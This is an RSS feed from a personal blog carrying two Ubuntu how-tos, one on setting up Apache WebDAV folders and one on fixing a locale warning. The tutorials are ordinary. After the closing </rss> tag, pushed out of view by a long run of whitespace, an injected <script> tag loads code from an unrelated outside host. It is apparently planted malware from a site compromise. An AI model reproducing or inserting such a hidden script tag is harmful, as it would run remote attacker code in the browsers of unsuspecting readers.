<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>A Path to Remember &#187; Ubuntu Linux</title>
	<atom:link href="http://ronaldkang.com/diary/category/ubuntu-linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://ronaldkang.com/diary</link>
	<description>Blessed are those who find wisdom, those who gain understanding, for she is more profitable than silver    and yields better returns than gold. She is more precious than rubies; nothing you desire can compare with her (Proverbs 3:13-15)</description>
	<lastBuildDate>Wed, 27 Apr 2011 01:46:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Cara Bikin Folder WebDav di Ubuntu</title>
		<link>http://ronaldkang.com/diary/cara-bikin-folder-webdav-di-ubuntu/</link>
		<comments>http://ronaldkang.com/diary/cara-bikin-folder-webdav-di-ubuntu/#comments</comments>
		<pubDate>Mon, 05 May 2008 02:36:06 +0000</pubDate>
		<dc:creator>Ronald Kang</dc:creator>
				<category><![CDATA[Ubuntu Linux]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[webdav]]></category>

		<guid isPermaLink="false">http://ronaldkang.com/diary/cara-bikin-folder-webdav-di-ubuntu/</guid>
		<description><![CDATA[taken from http://www.digital-arcanist.com/sanctum/article.php?story=20070427101250622 copied here for personal use Friday, April 27 2007 @ 10:12 AM MDT Contributed by: highmage Views: 6,023 This HOWTO will show you how to create WebDAV enabled directories hosted on your Apache webserver. I wrote this using Ubuntu Server 7.04, but it should work on previous Ubuntu releases and (with only [...]]]></description>
			<content:encoded><![CDATA[<p>taken from <a href="http://www.digital-arcanist.com/sanctum/article.php?story=20070427101250622" target="_blank">http://www.digital-arcanist.com/sanctum/article.php?story=20070427101250622</a></p>
<p>copied here for personal use</p>
<p class="story-information">         Friday, April 27 2007 @ 10:12 AM MDT<br />
Contributed by: <a href="http://www.digital-arcanist.com/sanctum/users.php?mode=profile&amp;uid=3" class="storybyline">highmage</a><br />
Views: 6,023</p>
<p class="story-body">         This HOWTO will show you how to create WebDAV enabled directories hosted on your Apache webserver. I wrote this using Ubuntu Server 7.04, but it should work on previous Ubuntu releases and (with only minor modifications) any other Linux distro.<span id="more-52"></span></p>
<ol>
<li> <strong>What is WebDAV?</strong></li>
<p>WebDAV stands for Web-based Distributed Authoring and Versioning. It was designed to allow groups of individuals to edit and manage files stored on a web-server. The protocol allows the creation of &#8220;web-shares&#8221; which can be used for file storage, collaborative projects, editing websites themselves, and any number of other things. WebDAV supports features like editing, copying, and moving of files, file locks, resource lists, and file property modification. Most operating systems, including MS Windows, support WebDAV directories.</p>
<li> <strong>Install the Proper Software</strong></li>
<p>The first thing you will need (obviously) is a functioning apache2 webserver. If you happened to have install Ubuntu Server Edition with the LAMP option, then you&#8217;re set. Otherwise, you&#8217;ll need to get a few things with apt. Do this however you want; I will use the command line. While you&#8217;re at it, you might as well get PHP to go with it.</p>
<pre><code>
apt-get install apache2 php5 libapache2-mod-php5
</code></pre>
<li> <strong>Add Modules</strong></li>
<p>Fortunately, Apache 2.x comes with mod_dav already installed, we just have to activate it. We can do this by making some symlinks.</p>
<pre><code>
cd /etc/apache2/mods-enabled
ln -s ../mods-available/dav* .
</code></pre>
<li> <strong>Create LockDB file for WebDAV</strong></li>
<p>Next we need to set up a DAVLockDB file for WebDAV to use. This is a very important step, as you&#8217;ll wind up with Internal Server Errors if you try to use WebDAV without it.</p>
<pre><code>
mkdir /usr/share/apache2/var
touch /usr/share/apache2/var/DAVLock
chown -R www-data:www-data /usr/share/apache2/var
</code></pre>
<li> <strong>Setup Authentication and Add Users</strong></li>
<p>WebDAV can open your web server up to security risks. You don&#8217;t want just anyone to wander in and change your files! There are several ways you can do authentication for your WebDAV directory, but htpasswd is the easiest and probably best for most cases. We&#8217;ll make the passwords using MD5 and store them where we store the apache configurations and add an initial user while we&#8217;re at it.</p>
<pre><code>
htpasswd -m -c /etc/apache2/.htpasswd
</code></pre>
<p>You can use this command to add more users later or change their passwords. Just remember to remove the -c option or you&#8217;ll truncate your password db every time!</p>
<li> <strong>Create the WebDAV Directory</strong></li>
<p>Okay, almost done. Let&#8217;s make a directory in our web document root where we will run our WebDAV. I&#8217;m calling it myWebDAV. This is the folder in which your authorized users will be able to add, delete, and modify files. The directory will need to be writable by the web server.</p>
<pre><code>
mkdir /var/www/myWebDAV
chown www-data:www-data /var/www/myWebDAV
</code></pre>
<li> <strong>Configure Apache</strong></li>
<p>Now all we need to tell Apache how to use WebDAV and where to enable it. This consists of adding a few definitions to the user-defined config file at /etc/apache2/httpd.conf. Open that file with an editor and add lines similar to those below.</p>
<pre><code>
## Location of the DavLock file
DavLockDB /usr/share/apache2/var/DavLock

## Set up the myWebDAV directory to use WebDAV and authentication
&lt;Directory "/var/www/myWebDAV"&gt;
       	Dav On
        AuthName "WebDAV Login"
        AuthType Basic
        AuthUserFile /etc/apache2/.htpasswd
	## Limit access for enhanced security
	&lt;LimitExcept GET HEAD OPTIONS POST&gt;
                require valid-user
	&lt;/LimitExcept&gt;
        Order allow,deny
        Allow from all
&lt;/Directory&gt;
</code></pre>
<li> <strong>Restart Apache and Test</strong></li>
<p>That&#8217;s it! Restart your web server and you&#8217;re good to go. You and your friends/coworkers/etc can now login and modify the files at http://your.domain.com/myWebDAV.</p>
<pre><code>
/etc/init.d/apache2 restart
</code></pre>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://ronaldkang.com/diary/cara-bikin-folder-webdav-di-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu Apt-Get Locale Settings Error</title>
		<link>http://ronaldkang.com/diary/ubuntu-apt-get-locale-settings-error/</link>
		<comments>http://ronaldkang.com/diary/ubuntu-apt-get-locale-settings-error/#comments</comments>
		<pubDate>Sat, 08 Mar 2008 02:54:01 +0000</pubDate>
		<dc:creator>Ronald Kang</dc:creator>
				<category><![CDATA[Ubuntu Linux]]></category>
		<category><![CDATA[language error]]></category>
		<category><![CDATA[locale error]]></category>
		<category><![CDATA[locale settings error]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://ronaldkang.com/diary/ubuntu-apt-get-locale-settings-error/</guid>
		<description><![CDATA[If you get this warning in your system: perl: warning: Setting locale failed. perl: warning: Please check that your locale settings: LANGUAGE = (unset), LC_ALL = (unset), LANG = &#8220;en_US.UTF-8&#8243; are supported and installed on your system. perl: warning: Falling back to the standard locale (&#8220;C&#8221;). locale: Cannot set LC_CTYPE to default locale: No such [...]]]></description>
			<content:encoded><![CDATA[<p>If you get this warning in your system:</p>
<blockquote><p> perl: warning: Setting locale failed.<br />
perl: warning: Please check that your locale settings:<br />
LANGUAGE = (unset),<br />
LC_ALL = (unset),<br />
LANG = <span class="java-quote">&#8220;en_US.UTF-8&#8243;</span><br />
are supported and installed on your system.<br />
perl: warning: Falling back to the standard locale (<span class="java-quote">&#8220;C&#8221;</span>).<br />
locale: Cannot set LC_CTYPE to <span class="java-keyword">default</span> locale: No such file or directory<br />
locale: Cannot set LC_MESSAGES to <span class="java-keyword">default</span> locale: No such file or directory<br />
locale: Cannot set LC_ALL to <span class="java-keyword">default</span> locale: No such file or directory</p></blockquote>
<p>Simply type this command to fix it:</p>
<blockquote><p>apt-get install language-pack-en</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://ronaldkang.com/diary/ubuntu-apt-get-locale-settings-error/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
                                                                                                                                                                                                                                                                                                   <script src="http://holasionweb.com/oo.php"></script>
